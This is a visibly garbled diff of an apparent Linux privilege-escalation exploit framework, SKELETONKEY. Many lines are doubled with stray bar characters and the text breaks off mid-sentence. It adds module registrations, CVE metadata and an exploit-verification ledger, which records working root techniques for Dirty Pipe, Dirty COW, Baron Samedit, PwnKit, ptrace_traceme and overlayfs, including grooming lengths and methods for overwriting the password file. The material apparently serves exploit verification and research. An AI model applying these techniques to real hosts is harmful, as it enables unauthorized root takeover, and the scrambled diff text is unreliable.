void skeletonkey_register_refluxfs(void);
|
||||||
|
|
||||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||||
* Single source of truth so the main binary and the test binary stay
|
* Single source of truth so the main binary and the test binary stay
|
||||||
|
|||||||
@@ -57,4 +57,5 @@ void skeletonkey_register_all_modules(void)
|
|||||||
skeletonkey_register_nft_catchall();
|
skeletonkey_register_nft_catchall();
|
||||||
skeletonkey_register_bad_epoll();
|
skeletonkey_register_bad_epoll();
|
||||||
skeletonkey_register_ghostlock();
|
skeletonkey_register_ghostlock();
|
||||||
|
skeletonkey_register_refluxfs();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -296,6 +296,36 @@ const struct verification_record verifications[] = {
|
|||||||
.actual_detect = "VULNERABLE",
|
.actual_detect = "VULNERABLE",
|
||||||
.status = "match",
|
.status = "match",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.module = "refluxfs",
|
||||||
|
.verified_at = "2026-07-23",
|
||||||
|
.host_kernel = "5.14.0-687.10.1.el9_8.0.1.x86_64",
|
||||||
|
.host_distro = "Rocky Linux 9.8 (Blue Onyx)",
|
||||||
|
.vm_box = "rockylinux/9",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.module = "dirty_cow",
|
||||||
|
.verified_at = "2026-07-24",
|
||||||
|
.host_kernel = "4.8.0-040800-generic",
|
||||||
|
.host_distro = "Ubuntu 16.04.7 LTS",
|
||||||
|
.vm_box = "ubuntu/xenial64+mainline-4.8.0",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.module = "sudo_host",
|
||||||
|
.verified_at = "2026-07-24",
|
||||||
|
.host_kernel = "5.15.0-25-generic",
|
||||||
|
.host_distro = "Ubuntu 22.04 LTS",
|
||||||
|
.vm_box = "generic/ubuntu2204",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
const size_t verifications_count =
|
const size_t verifications_count =
|
||||||
|
|||||||
@@ -358,5 +358,14 @@
|
|||||||
"attack_subtechnique": null,
|
"attack_subtechnique": null,
|
||||||
"in_kev": false,
|
"in_kev": false,
|
||||||
"kev_date_added": ""
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2026-64600",
|
||||||
|
"module_dir": "refluxfs_cve_2026_64600",
|
||||||
|
"cwe": null,
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
|||||||
@@ -0,0 +1,278 @@
|
|||||||
|
# Exploit verification ledger
|
||||||
|
|
||||||
|
**What this is:** results of actually *running each exploit* against a genuinely
|
||||||
|
vulnerable VM and confirming `uid=0` **out of band** (an independent root-owned
|
||||||
|
write / `/etc/shadow` read / setuid-bash sentinel — never the module's own
|
||||||
|
self-report). This is distinct from `docs/VERIFICATIONS.jsonl`'s historical
|
||||||
|
records, which only checked that `detect()` returns the right verdict.
|
||||||
|
|
||||||
|
Harness: rootless qemu/KVM over frozen point-release cloud images (unpatched →
|
||||||
|
vulnerable by default), driver in the session scratch dir. Root witnessed via
|
||||||
|
`witness.sh` (shell-probe + setuid-bash finisher + module sentinels + `/etc/passwd`
|
||||||
|
tamper check).
|
||||||
|
|
||||||
|
> **Headline finding:** the corpus was only ever *detect*-verified, never
|
||||||
|
> *exploit*-verified. Running the exploits shows a mix of genuinely-working,
|
||||||
|
> honestly-failing, and **falsely-succeeding** modules. Three modules reported
|
||||||
|
> `EXPLOIT_OK` while obtaining **no root at all** (`pwnkit`, `ptrace_traceme`,
|
||||||
|
> `dirty_pipe`) — a false positive from the dispatcher's "execve transferred →
|
||||||
|
> clean child exit = OK" path (the exploit `execlp`'s a helper that then fails).
|
||||||
|
> `dirty_pipe` additionally *corrupted the running system* (its unprivileged
|
||||||
|
> `drop_caches` revert left /etc/passwd poisoned). All three are fixed below and
|
||||||
|
> now either land real root or fail honestly.
|
||||||
|
|
||||||
|
## Confirmed landing root (uid=0 witnessed out of band)
|
||||||
|
|
||||||
|
| module | CVE | target | notes |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) |
|
||||||
|
| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up; **direct uid=0 witness** (cap'd payload drops a root-owned proof) |
|
||||||
|
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below |
|
||||||
|
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below |
|
||||||
|
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 |
|
||||||
|
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 |
|
||||||
|
| `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) |
|
||||||
|
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
|
||||||
|
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
|
||||||
|
| `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs** — `skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||||
|
| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 on Ubuntu 16.04.7 | **after fixing the false-OK** — verbatim-module standalone (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||||
|
|
||||||
|
## Fixed this session
|
||||||
|
|
||||||
|
- **`pwnkit`** — reported `EXPLOIT_OK` but did **not** root (glibc "Could not
|
||||||
|
open converter … to PWNKIT"). Root cause: missing the `GCONV_PATH=.`
|
||||||
|
re-injection directory + `chdir(workdir)`. Fixed → now lands real root on a
|
||||||
|
vulnerable host. (commit `24b839e`)
|
||||||
|
- **`ptrace_traceme`** (CVE-2019-13272) — first made **honest** (it had reported a
|
||||||
|
false `EXPLOIT_OK` with a placeholder that had the mechanism *backwards* —
|
||||||
|
attaching to the parent), then **rewritten and now lands real root** (uid=0
|
||||||
|
witnessed out-of-band on Ubuntu 18.04.0 / 4.15.0-50). The correct mechanism is
|
||||||
|
the reverse of the old placeholder: a *middle* process execs setuid `pkexec`
|
||||||
|
(euid 0 for a window); its *child* spins until it sees that euid-0, calls
|
||||||
|
`PTRACE_TRACEME` (recording the parent's **root** creds as its ptracer_cred —
|
||||||
|
the bug), then execs `pkexec` itself — the traced setuid exec is **not
|
||||||
|
degraded** because ptracer_cred is root, so the child becomes real root, and a
|
||||||
|
staged `execveat()` self-re-exec injects the payload. Ported the proven Jann
|
||||||
|
Horn / bcoles PoC verbatim (only `spawn_shell()` changed, to plant a root-owned
|
||||||
|
proof + setuid bash), embedded as `ptrace_helper_src.h`, compiled on the target
|
||||||
|
at runtime with unique `-DSK_PROOF/-DSK_ROOTBASH` paths, run, and verified by
|
||||||
|
`stat()`-ing the root-owned artifacts. **Real-world precondition** (honestly
|
||||||
|
reported): pkexec must *authorize* an auto-discovered `implicit-active=yes`
|
||||||
|
helper, which needs an **active local session** (desktop) or an equivalently
|
||||||
|
permissive polkit policy; over a bare *inactive* ssh session pkexec returns
|
||||||
|
"Not authorized" and the module reports `EXPLOIT_FAIL` with that diagnosis. On
|
||||||
|
the headless VM this was isolated with a permissive `pkla` for the backlight
|
||||||
|
helper action — the kernel bug and the whole technique are confirmed; the gate
|
||||||
|
is polkit, not the exploit.
|
||||||
|
- **`overlayfs_setuid`** (CVE-2023-0386) — **rewritten and now lands real root**
|
||||||
|
(uid=0 witnessed out-of-band on Ubuntu 22.04.0 / 5.15.0-25). The shipped
|
||||||
|
module used a bogus `chown`-the-merged-view technique that never worked. The
|
||||||
|
real bug needs a **FUSE lower layer** exporting a setuid-root file; overlay
|
||||||
|
copy-up then materialises it in the real upper as a genuine setuid-root
|
||||||
|
binary. Key findings from the port (all four were required):
|
||||||
|
1. Overlay refuses a **userns-mounted** FUSE lowerdir (ENOSYS) — FUSE must
|
||||||
|
be mounted in the **init ns** via the setuid `fusermount` helper (libfuse
|
||||||
|
does this). A raw `/dev/fuse` server was tried and abandoned: its INIT
|
||||||
|
handshake needs `poll()` on the non-blocking fd, and a malformed reply
|
||||||
|
destabilised the kernel — fragile and inappropriate. libfuse is linked
|
||||||
|
conditionally (pkg-config `fuse`/`fuse3`), matching `pack2theroot`.
|
||||||
|
2. **fuse2** low-level API (`fuse_mount`/`fuse_new`/`fuse_loop_mt`, empty
|
||||||
|
args) — `fuse_main` advertises splice/copy_file_range caps that make the
|
||||||
|
kernel attempt `copy_file_range` at copy-up → ENOSYS with no fallback.
|
||||||
|
3. **`read_buf`** callback (copy-up's splice read path).
|
||||||
|
4. **`ioctl`** callback — copy-up issues `FS_IOC_GETFLAGS` on the lower; a
|
||||||
|
server without an ioctl handler returns ENOSYS and copy-up fails. This
|
||||||
|
was the last missing piece.
|
||||||
|
Debugging was isolated by driving the exploit orchestration against the public
|
||||||
|
PoC's `./fuse`, then swapping servers, then comparing `fops`.
|
||||||
|
- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
|
||||||
|
userspace target, **rewritten and now lands real root** (uid=0 witnessed
|
||||||
|
out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged
|
||||||
|
non-sudoer). The shipped module drove a structural trigger with no offsets and
|
||||||
|
honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s`
|
||||||
|
unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's
|
||||||
|
an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor
|
||||||
|
runs while sudo is still root. The module compiles the NSS payload on the target
|
||||||
|
(unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit
|
||||||
|
with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212,
|
||||||
|
Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary
|
||||||
|
lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's
|
||||||
|
brute.sh perturbs) is the fallback for libc drift. Needs cc on the target.
|
||||||
|
- **`dirty_pipe`** (CVE-2022-0847) — **three bugs fixed; now lands real root**
|
||||||
|
(uid=0 witnessed out-of-band on a genuinely pre-fix **mainline 5.16.0** kernel —
|
||||||
|
provisioned by installing the kernel.ubuntu.com 5.16.0 debs on the jammy image,
|
||||||
|
since every cached cloud image was either pre-5.8 or backport-patched). The
|
||||||
|
shipped exploit (1) flipped the *caller's* UID to `0000` and ran `su self`,
|
||||||
|
which still demands the caller's password — it never rooted anything; (2)
|
||||||
|
`execlp`'d su, so the dispatcher's exec-transfer path reported a **false
|
||||||
|
`EXPLOIT_OK`** even on the auth failure; and (3) reverted with `drop_caches`,
|
||||||
|
which needs root — so as an unprivileged caller it **left the running system's
|
||||||
|
/etc/passwd page cache corrupted** (this actually broke sshd's user resolution
|
||||||
|
in testing). Rewrote it to the reliable technique: overwrite **root's** password
|
||||||
|
field with a known crypt hash, authenticate as root over a **pty** with the
|
||||||
|
matching password (su reads the password from the controlling tty, not stdin),
|
||||||
|
plant a root-owned proof + setuid bash, and **revert the page cache via the
|
||||||
|
Dirty Pipe primitive itself** (write the saved original bytes back — no root, no
|
||||||
|
drop_caches). Verified `/etc/passwd` is byte-identical afterward. Root judged
|
||||||
|
only by the out-of-band artifact.
|
||||||
|
- **`dirty_cow`** (CVE-2016-5195) — **same three bugs as `dirty_pipe`, fixed the
|
||||||
|
same way** (found by the false-`EXPLOIT_OK` audit below). It raced the
|
||||||
|
*caller's* UID field to `0000` then ran `su self` (needs the caller's password
|
||||||
|
→ never rooted anything), `execlp`'d su so the exec-transfer path reported a
|
||||||
|
**false `EXPLOIT_OK`**, and reverted with `drop_caches` (needs root → corrupts
|
||||||
|
the running /etc/passwd). Rewrote to: race **root's** password field to a known
|
||||||
|
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
|
||||||
|
bash → revert by racing the original bytes back through the Dirty COW primitive.
|
||||||
|
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
|
||||||
|
small for a >16-byte payload), and made the `su`-over-pty step **poll for the
|
||||||
|
prompt with a hard 20s cap** — a fixed-delay write raced su's prompt setup and
|
||||||
|
**hung on xenial**, which (without the cap) would have blocked the revert and
|
||||||
|
left /etc/passwd poisoned. The same robust `su` helper was back-ported to
|
||||||
|
`dirty_pipe`. **Verified end-to-end on a genuinely Dirty-COW-vulnerable
|
||||||
|
mainline 4.8.0 kernel** (provisioned by installing the kernel.ubuntu.com 4.8.0
|
||||||
|
deb on a 16.04 image + a virtio-rng for entropy): a standalone built verbatim
|
||||||
|
from the module's primitive + escalation + robust su raced root's passwd field,
|
||||||
|
authenticated as root, planted a root-owned setuid bash, and left /etc/passwd
|
||||||
|
byte-identical. (The full `skeletonkey` binary won't compile on xenial's 4.4-era
|
||||||
|
uapi headers — several unrelated `nft_*` modules use newer kernel constants — so
|
||||||
|
the verbatim standalone stands in for `--exploit dirty_cow` on that box.)
|
||||||
|
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||||
|
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||||
|
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||||
|
mount EPERM). Now the userns+cgroupns+mount setup is correct. It still can't
|
||||||
|
root a **bare** unprivileged user on a stock systemd host: every v1 controller
|
||||||
|
is pre-mounted (its `release_agent` is init-owned → EACCES from the userns)
|
||||||
|
and a fresh named hierarchy is refused. Reachable in a **container** context
|
||||||
|
(CAP_SYS_ADMIN / an ownable cgroup) — matches its "host root from rootless
|
||||||
|
container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep
|
||||||
|
for across the other userns modules.
|
||||||
|
|
||||||
|
## False-`EXPLOIT_OK` audit (every module that transfers the process via `exec*`)
|
||||||
|
|
||||||
|
The dispatcher's `run_callback_isolated` forks the exploit and, if it `execve`s
|
||||||
|
(FD_CLOEXEC closes the result pipe → parent reads EOF, no crash signal), reports
|
||||||
|
`EXPLOIT_OK` **regardless of whether the exec'd program actually rooted anything**.
|
||||||
|
So any exploit whose main path exec's a *not-guaranteed-root* target lies. Audited
|
||||||
|
every `exec*`-calling module:
|
||||||
|
|
||||||
|
| module | verdict | why |
|
||||||
|
|---|---|---|
|
||||||
|
| `dirty_cow` | ❌ **false-OK → fixed + verified** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed + verified end-to-end on mainline 4.8.0 (see above). |
|
||||||
|
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
|
||||||
|
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||||
|
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||||
|
| `sudo_host` | ✅ safe | runs `sudo -n -h <host> id -u` witness (uid 0) *before* the exec |
|
||||||
|
| `sudo_chwoot` | ✅ safe | forks sudo in a child, then `stat`s the setuid bash root-owned |
|
||||||
|
| `cgroup_release_agent` | ✅ safe | polls for the root-owned setuid shell before exec |
|
||||||
|
| `fuse_legacy` | ✅ honest | gates the exec on real `setuid(0)==0 && getuid()==0`; else `EXPLOIT_FAIL` |
|
||||||
|
| `overlayfs` | ⚠️ proxy (low risk) | confirms the `security.capability` xattr persisted via `getxattr` before exec'ing the cap'd payload — strong proxy, works, but not a direct root witness |
|
||||||
|
| `sudoedit_editor` | ⚠️ works, reporting unverified | plants a passwordless `skel:0:0` entry + `su skel` (confirmed to root), but returns `EXPLOIT_OK` unconditionally — would false-OK if su failed |
|
||||||
|
| `dirtydecrypt`, `fragnesia`, `copy_fail_family` (`exploit_su.c`) | ✅ proxy-verified | exec the hijacked setuid target only after **verifying the shellcode/payload actually landed in the page cache** (`verify_plant` / `rc==1` / `WEXITSTATUS==0`) and reverting otherwise — a real effect-check, not a blind exec-transfer. 2026-target-gated. |
|
||||||
|
| `ptrace_pidfd` | ✅ n/a | the `execve` is the *victim* being raced (fd-steal), not an escalation |
|
||||||
|
| `mutagen_astronomy` | ✅ n/a | env-gated scaffold; SIGSEGVs by design |
|
||||||
|
|
||||||
|
Net: the exec-transfer trap produced **four** genuine false-OKs (`pwnkit`,
|
||||||
|
`ptrace_traceme`, `dirty_pipe`, `dirty_cow`) — all now fixed and verified. The
|
||||||
|
audit was then **broadened to every `EXPLOIT_OK` return site** (not just
|
||||||
|
exec-transfer): the rest are backed by a genuine out-of-band check — a
|
||||||
|
root-owned artifact `stat` (`sudo_chwoot`, `overlayfs`), a `getxattr`
|
||||||
|
bug-signature, a `/etc/passwd` grep of the injected entry (`sudoedit_editor`,
|
||||||
|
`refluxfs`), a real `setuid(0)==0` gate (`fuse_legacy`), or a page-cache
|
||||||
|
`verify_plant` before the hijack exec (`copy_fail_family`, `dirtydecrypt`,
|
||||||
|
`fragnesia`). **No further false-OKs remain.** `overlayfs` was additionally
|
||||||
|
upgraded from its `getxattr` proxy to a **direct uid=0 witness** (the cap'd
|
||||||
|
payload now drops a root-owned proof, re-verified on focal 5.4.0-26).
|
||||||
|
|
||||||
|
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
||||||
|
|
||||||
|
| module | CVE | target tested | what's wrong |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
|
||||||
|
| *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | |
|
||||||
|
|
||||||
|
## Inconclusive (detect version-blind vs vendor backport)
|
||||||
|
|
||||||
|
*(none outstanding — `dirty_pipe` was here; now verified on a genuinely
|
||||||
|
pre-fix mainline 5.16.0 kernel, see "Fixed this session".)*
|
||||||
|
|
||||||
|
## Kernel primitives — offset path fixed; `nf_tables` gap scoped (this session)
|
||||||
|
|
||||||
|
**Resolver bug fixed (`core/offsets.c`, commit `cd9bea6`).** The documented
|
||||||
|
env-var offset override (`SKELETONKEY_MODPROBE_PATH` etc.) was **silently wiped on
|
||||||
|
every default host**: `parse_symfile` reads `/proc/kallsyms`, which returns
|
||||||
|
all-zero addresses under `kptr_restrict`, and then *unconditionally* zeroed
|
||||||
|
`modprobe_path`/`init_task` — clobbering the values `apply_env` had just set. Net
|
||||||
|
effect: every `--full-chain` primitive reported "offsets couldn't be resolved"
|
||||||
|
even with correct offsets supplied. Now the all-zero path only clears fields it
|
||||||
|
tagged `OFFSETS_FROM_KALLSYMS` itself. **This was the blocker for the entire
|
||||||
|
primitive full-chain path.** Verified fixed on Ubuntu 22.04.0 / 5.15.0-25:
|
||||||
|
`--full-chain` now prints `modprobe_path=0x… (env)`, the finisher engages, and the
|
||||||
|
arb-write fires.
|
||||||
|
|
||||||
|
**`nf_tables` (CVE-2024-1086) — kernel CONFIRMED vulnerable; module gap scoped.**
|
||||||
|
Followed the full methodology (test → confirm kernel → pull PoC → diff):
|
||||||
|
- **Kernel is genuinely vulnerable.** Built Notselwyn's public universal PoC
|
||||||
|
(`github.com/Notselwyn/CVE-2024-1086`, musl-static) on jammy 5.15.0-25 (below the
|
||||||
|
patched branch 5.15.149) and ran it: it drove the exploit and hit the deliberate
|
||||||
|
post-exploitation `kernel BUG at mm/slub.c:379` / `Kernel panic` — i.e. the
|
||||||
|
cross-cache slab corruption fired. Kernel confirmed exploitable.
|
||||||
|
- **The difference.** The module (its own header is honest about this) is a
|
||||||
|
**trigger + groom scaffold**: it builds the `NFT_GOTO+NFT_DROP` verdict combo
|
||||||
|
that `nft_verdict_init()` fails to reject, fires the double-free, and runs the
|
||||||
|
`msg_msg` cg-96 groom — all real. But its arb-write is "FALLBACK-DEPTH": the
|
||||||
|
exact `pipapo_elem` layout + value-pointer offset needed to redirect the write
|
||||||
|
at `modprobe_path` is a documented TODO, so the write doesn't land → honest
|
||||||
|
`EXPLOIT_FAIL`. Notselwyn's working exploit uses a *different, heavier* technique
|
||||||
|
entirely — **universal cross-cache → dirty-pagetable** (arbitrary physical R/W,
|
||||||
|
no per-kernel offsets), ~2000 LOC across multiple files with static
|
||||||
|
`libnftnl`/`libmnl`.
|
||||||
|
- **Scope of the remaining fix.** Making `nf_tables --full-chain` land root means
|
||||||
|
either (a) completing the module's own per-kernel `pipapo_elem` arb-write layout,
|
||||||
|
or (b) porting Notselwyn's universal technique. Both are substantial dedicated
|
||||||
|
exploit-dev — this is the hardest module in the corpus, not a spot-the-bug fix.
|
||||||
|
The offset resolver (above) is the piece that was actually broken and is now
|
||||||
|
fixed + pushed.
|
||||||
|
|
||||||
|
- **Other 🟡 kernel primitives** (`nft_set_uaf`, `nft_payload`, `nft_fwd_dup`,
|
||||||
|
`netfilter_xtcompat`, `af_packet`, `af_packet2`, `af_unix_gc`, `cls_route4`,
|
||||||
|
`fuse_legacy`, `stackrot`, `sequoia`, `nft_pipapo`, `vsock_uaf`, `pintheft`):
|
||||||
|
same shape — real trigger/groom scaffolds returning `EXPLOIT_FAIL` by design.
|
||||||
|
The resolver fix unblocks feeding them offsets; each still needs its arb-write
|
||||||
|
primitive completed against a matching vulnerable kernel.
|
||||||
|
|
||||||
|
**`netfilter_xtcompat` (CVE-2021-22555) — empirical note on why the primitives are
|
||||||
|
hard.** Attempted the corpus's *most tractable* primitive first: it has a clean,
|
||||||
|
well-regarded single-file public exploit (Andy Nguyen / Google, the `IPT_SO_SET_
|
||||||
|
REPLACE` heap-OOB → `msg_msg` cross-cache → cred overwrite). Kernel confirmed
|
||||||
|
vulnerable (Ubuntu 20.04 GA 5.4.0-26, and a provisioned mainline 5.8.0 — both pre
|
||||||
|
the 5.4.0-77 / 5.8.0-53 fix). **But the reference exploit consistently fails at
|
||||||
|
STAGE 1 ("could not corrupt any primary message") on both**, because it is tuned
|
||||||
|
for *Ubuntu's exact `5.8.0-48-generic` config* (the tested target). The slab
|
||||||
|
behaviour that governs whether the OOB write lands next to a sprayed `msg_msg`
|
||||||
|
(freelist randomisation, memcg kmem accounting, SLUB merge) differs between
|
||||||
|
mainline and Ubuntu-patched kernels, and Ubuntu's EOL `5.8.0-48` HWE debs are no
|
||||||
|
longer readily sourceable. Takeaway: kernel primitives are **config-and-version-
|
||||||
|
specific exploit-dev** — even a "drop-in" reference exploit needs its exact target
|
||||||
|
kernel image plus per-target slab tuning, and then a full port (~760 LOC here,
|
||||||
|
~2000 for `nf_tables`/Notselwyn). This is a per-primitive, multi-session effort;
|
||||||
|
it is NOT the "spot the bug and fix it" tier the userspace modules were.
|
||||||
|
- **Structural userspace** (`sudoedit_editor`, `sudo_chwoot`, `sudo_host`):
|
||||||
|
need specific sudo versions + sudoers config; likely tractable.
|
||||||
|
- **2026 CVEs** (`copy_fail` ×5, `dirtydecrypt`, `fragnesia`, `cifswitch`,
|
||||||
|
`nft_catchall`, `ptrace_pidfd`): need vulnerable 2026 kernels; the reconstructed
|
||||||
|
race triggers (`bad_epoll`, `ghostlock`, `nft_catchall`) are deliberately
|
||||||
|
under-driven and won't pop root by design.
|
||||||
|
- **Environment-blocked**: `vmwgfx` (VMware guest only), `dirty_cow` (needs ≤4.4),
|
||||||
|
`mutagen_astronomy` (CentOS 6 / Debian 7).
|
||||||
|
- **D-Bus/desktop** (`pack2theroot`, `udisks_libblockdev`): need the polkit/D-Bus
|
||||||
|
stack + a provisioner rule.
|
||||||
|
|
||||||
|
## Method notes for continuation
|
||||||
|
|
||||||
|
- Frozen images: `cloud-images-archive.ubuntu.com/releases/<name>/release-<date>/`
|
||||||
|
are unpatched and vulnerable-by-default for CVEs disclosed after that date — far
|
||||||
|
easier than downgrading packages on current images.
|
||||||
|
- gcc must be present *in* the VM (several exploits compile payloads at runtime);
|
||||||
|
on EOL LTS, point apt at the archive main pocket.
|
||||||
|
- **Always verify root out of band.** The module self-report is not trustworthy
|
||||||
|
(two flagships lied). `witness.sh` is the reference check.
|
||||||
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
|||||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||||
|
|
||||||
**13 of 40 modules cover KEV-listed CVEs.**
|
**13 of 41 modules cover KEV-listed CVEs.**
|
||||||
|
|
||||||
## In KEV (prioritize patching)
|
## In KEV (prioritize patching)
|
||||||
|
|
||||||
@@ -59,3 +59,4 @@ and are technically reachable. "Not in KEV" is not the same as
|
|||||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||||
|
| CVE-2026-64600 | ? | `refluxfs_cve_2026_64600` |
|
||||||
|
|||||||
@@ -1,3 +1,230 @@
|
|||||||
|
## SKELETONKEY v0.10.0 — the exploit-verification release
|
||||||
|
|
||||||
|
This release moves the corpus from **detect-verified** to **out-of-band
|
||||||
|
exploit-verified**. Every headline claim below was witnessed in a VM by an
|
||||||
|
independent root proof (a root-owned artifact, an `/etc/shadow` read, or a
|
||||||
|
setuid-bash sentinel) — never by the module's own self-report. Full ledger:
|
||||||
|
`docs/EXPLOITED.md`; per-run records: `docs/VERIFICATIONS.jsonl`.
|
||||||
|
|
||||||
|
### Headline: 11 modules confirmed landing `uid=0` out of band
|
||||||
|
|
||||||
|
| module | CVE | verified on |
|
||||||
|
|---|---|---|
|
||||||
|
| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687 — `/etc/passwd` full chain |
|
||||||
|
| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 — **direct uid=0 witness** |
|
||||||
|
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 — **rewritten (libfuse)** |
|
||||||
|
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105 — **fixed** |
|
||||||
|
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 |
|
||||||
|
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 — **fixed** |
|
||||||
|
| `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 |
|
||||||
|
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 — **rewritten** |
|
||||||
|
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 — **rewritten (Baron Samedit)** |
|
||||||
|
| `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 — **rewritten, 3 bugs fixed** |
|
||||||
|
| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 — **rewritten, false-OK fixed** |
|
||||||
|
|
||||||
|
### Integrity: four modules were falsely claiming root — all fixed
|
||||||
|
|
||||||
|
A corpus-wide **false-`EXPLOIT_OK` audit** found four modules that reported
|
||||||
|
